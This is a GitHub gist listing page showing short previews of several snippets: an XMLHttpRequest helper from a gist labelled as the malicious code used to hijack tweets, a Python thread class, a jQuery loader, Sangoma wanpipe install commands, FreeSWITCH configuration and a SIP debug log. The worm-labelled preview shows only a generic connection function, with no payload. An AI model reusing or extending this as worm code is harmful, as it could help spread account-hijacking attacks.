Skip to content

Instantly share code, notes, and snippets.

View tzuryby's full-sized avatar

Tzury Bar Yochay tzuryby

View GitHub Profile
@tzuryby
tzuryby / gist:93927
Created April 12, 2009 09:10
this is the malicious code used to hijack tweets
function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
import subprocess, time
import threading
from threading import Thread
process = None
class SThread (Thread):
"""Thread class with a stop() method. The thread itself has to check
regularly for the stopped() condition."""
(function() {
var el=document.createElement('div'),
b=document.getElementsByTagName('body')[0];
otherlib=false,
msg='';
el.style.position='fixed';
el.style.height='32px';
el.style.width='220px';
el.style.marginLeft='-110px';
el.style.top='0';
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>jquery-Test</title>
</head>
<body>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
$ apt-get install build-essential libncursesw5-dev libreadline5-dev libssl-dev libgdbm-dev libbz2-dev libc6-dev libsqlite3-dev tk-dev g++ gcc python-dev git-core linux-headers-`uname -r` udev libnewt-dev libssl-dev libncurses5-dev udev lksctp-tools libsctp-dev bison flex automake1.9 libtool libncurses5-dev libssl-dev libspeex-dev
$ wget ftp://ftp.sangoma.com/linux/current_wanpipe/wanpipe-3.5.8.tgz
$ tar xvzf wanpipe-3.5.8.tgz
$ cd wanpipe-3.5.8/
$ ./Setup install --protocol=AFT_TE1 --silent
Enabling the AFT TE1 Support
----------------------------------------------------------
WANPIPE v3.5.8 Installation Script
Copyright (c) 1995-2009, Sangoma Technologies Inc.
## Get the source
$ wget ftp://ftp.sangoma.com/linux/current_wanpipe/wanpipe-3.5.8.tgz
$ tar xzvf wanpipe-3.5.8.tgz
$ cd wanpipe-3.5.8
### Install Sangoma Wanpipe drivers with TDM API support.
$ ./Setup install --protocol=AFT_TE1 –silent
### Get the latest LibPRI release and build it
$ cd ..
## Get the wanpipe's source
$ wget ftp://ftp.sangoma.com/linux/current_wanpipe/wanpipe-3.5.8.tgz
$ tar xzvf wanpipe-3.5.8.tgz
$ cd wanpipe-3.5.8
### Install Sangoma Wanpipe drivers with TDM API support.
$ ./Setup install --protocol=AFT_TE1 –silent
### Get the latest LibPRI release and build it
$ cd ..
<?xml version="1.0" encoding="utf-8"?>
<include>
<context name="default">
<extension name="localxtens">
<!-- case SIP or E1 to 88988[00-49] route to equivalent SIP extension -->
<condition field="destination_number" expression="^(0?9?88988[0-4][0-9])$">
<action application="bridge" data="${sofia_contact(internal/$1@$${domain})}"/>
</condition>
<configuration name="openzap.conf" description="OpenZAP Configuration">
<settings>
<param name="debug" value="0"/>
<!--<param name="hold-music" value="$${moh_uri}"/>-->
<!--<param name="enable-analog-option" value="call-swap"/>-->
<!--<param name="enable-analog-option" value="3-way"/>-->
</settings>
<libpri_spans>
<span name="PRI_1">
<!-- Log Levels: none, alert, crit, err, warning, notice, info, debug -->
### IPTel incoming invite recording
DEBUG: 01:26:01.088 pjsua_core.c RX 1746 bytes Request msg INVITE/cseq=7942 (rdata0046B234) from UDP 213.192.59.75:5060:
INVITE sip:tal2@95.35.38.192:5060;transport=UDP SIP/2.0
Record-Route: <sip:213.192.59.75;r2=on;ftag=ff25112de1c843a58df49f57c54a29a2;avp=FS8DBwBhY2NvdW50AwB5ZXMDBgBzdGltZXIEADE4MDADCQBkaWFsb2dfaWQWADFlMTQtNGE3ODAzY2EtMTVjY2MwMTY;lr=on>
Record-Route: <sip:213.192.59.75;transport=tcp;r2=on;ftag=ff25112de1c843a58df49f57c54a29a2;avp=FS8DBwBhY2NvdW50AwB5ZXMDBgBzdGltZXIEADE4MDADCQBkaWFsb2dfaWQWADFlMTQtNGE3ODAzY2EtMTVjY2MwMTY;lr=on>